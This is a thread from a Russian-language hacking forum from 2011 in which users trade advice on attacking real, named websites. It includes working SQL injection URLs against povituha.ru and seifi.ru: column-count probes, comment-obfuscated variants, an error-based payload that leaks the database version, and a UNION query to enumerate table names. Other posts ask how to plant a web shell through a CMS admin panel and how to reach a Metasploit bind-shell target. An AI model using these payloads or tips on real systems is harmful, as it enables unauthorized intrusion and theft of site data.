17.11.2011, 01:37
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от Osstudio
Тебя кто суда звал? Вот например из этой же серии:
ничего там не фильтруется
http://www.povituha.ru/news.php?id=62+order+by+6--
http://www.povituha.ru/news.php?id=62+order+by+7--
|
|
|
17.11.2011, 01:40
|
|
Новичок
Регистрация: 21.12.2009
Сообщений: 0
С нами:
8625634
Репутация:
0
|
|
Сообщение от Osstudio
Тебя кто суда звал? Вот например из этой же серии:
Я тебе один раз объясню и больше не буду. Хочешь чему то научиться - учись. Не хочешь - продолжай писать и упираться рогами.
Сообщение от Osstudio
(-1')order(by)10--
Вот это неверный синтаксис. И ничего кроме
Сообщение от None
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
ты не получишь. Нельзя ставить by в скобки. Не говорю про кавычку в скобках, и как там должно быть реализовано в коде, фиг с ней ...
А вот это
Сообщение от Osstudio
http://www.povituha.ru/news.php?id=62/*c*/order/*a*/by%281%29--
синтаксис нормальный, и разумеется он работает.
Всё это отлично докумментировано и расписано по 100 раз, но если читать лень можно поставить денвер и тупо пробывать, прежде чем советы давать
|
|
|
|
17.11.2011, 22:44
|
|
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
С нами:
7932566
Репутация:
81
|
|
Сообщение от d1v
ничего там не фильтруется
http://www.povituha.ru/news.php?id=62+order+by+6--
http://www.povituha.ru/news.php?id=62+order+by+7--
дык знаю, просто и так и так работает всмысле. =/
|
|
|
|
18.11.2011, 01:16
|
|
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
С нами:
9391926
Репутация:
234
|
|
Как найти таблицу пользователей в БД?
Пробую так: http://seifi.ru/index.php?categoryID=781+UNION+SELECT+1+FROM+INFOR MATION_SCHEMA.TABLES
В ответ получаю
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name' at line 1 SQL query : select categoryID, name, brief_description, title_description, customers_rating, Price, in_stock, customer_votes, list_price, productID, default_picture, sort_order, items_sold, enabled, product_code, description, shipping_freight from SS_products where ( enabled=1 AND productID=1 ) OR ( enabled=1 AND categoryID=781 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name
|
|
|
|
18.11.2011, 05:33
|
|
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
С нами:
9431076
Репутация:
229
|
|
Сообщение от jawbreaker
Как найти таблицу пользователей в БД?
Пробую так:
http://seifi.ru/index.php?categoryID=781+UNION+SELECT+1+FROM+INFOR MATION_SCHEMA.TABLES
В ответ получаю
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name' at line 1 SQL query : select categoryID, name, brief_description, title_description, customers_rating, Price, in_stock, customer_votes, list_price, productID, default_picture, sort_order, items_sold, enabled, product_code, description, shipping_freight from SS_products where ( enabled=1 AND productID=1 ) OR ( enabled=1 AND categoryID=781 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name
надо закрыть скобку условия и отрубить остальную часть запроса каментом, но там либо скобка режеться, либо каменты, попробуй так
Код:
http://seifi.ru/index.php?categoryID=781+and+(select+1+from(select+count(*),concat((version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+--+
|
|
|
|
18.11.2011, 05:39
|
|
Познающий
Регистрация: 08.08.2009
Сообщений: 37
С нами:
8819816
Репутация:
2
|
|
Не знаю сюда или нет, в общем суть такая, на сайте админка
Memento CMS 2, как залить шел возможно? могу заливать картинки;(
|
|
|
|
18.11.2011, 11:02
|
|
Участник форума
Регистрация: 16.10.2011
Сообщений: 142
С нами:
7670486
Репутация:
0
|
|
Есть вопрос по metasploit'у. Если я использую начинку windows/shell_bind_tcp, а цель находится не в локальной сети и у нее динамический ip, как коннектиться к ней, каждый раз, когда у нее сменится ip?
|
|
|
|
18.11.2011, 16:34
|
|
Новичок
Регистрация: 03.05.2009
Сообщений: 7
С нами:
8960082
Репутация:
-14
|
|
Сообщение от AppS
Не знаю сюда или нет, в общем суть такая, на сайте админка
Memento CMS 2, как залить шел возможно? могу заливать картинки;(
У тебя есть доступ в админку? если нет, то шелла не будет. Если есть...ищи гле можно редактировать Баннеры, шаблоны и т.д.
|
|
|
|
18.11.2011, 23:01
|
|
Участник форума
Регистрация: 26.06.2010
Сообщений: 179
С нами:
8357366
Репутация:
6
|
|
Сообщение от jawbreaker
Как найти таблицу пользователей в БД?
Пробую так:
http://seifi.ru/index.php?categoryID=781+UNION+SELECT+1+FROM+INFOR MATION_SCHEMA.TABLES
В ответ получаю
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name' at line 1 SQL query : select categoryID, name, brief_description, title_description, customers_rating, Price, in_stock, customer_votes, list_price, productID, default_picture, sort_order, items_sold, enabled, product_code, description, shipping_freight from SS_products where ( enabled=1 AND productID=1 ) OR ( enabled=1 AND categoryID=781 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES ) order by sort_order, name
Ты table_name забыл
Код:
http://seifi.ru/index.php?categoryID=781+UNION+SELECT+table_name+FROM+INFORMATION_SCHEMA.TABLES
P.S. nemaniak, зачем все усложнять?
|
|
|
|
19.11.2011, 02:05
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Сообщение от None
http://spotters.net.ua/file/?id=1
что тут можно сделать?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
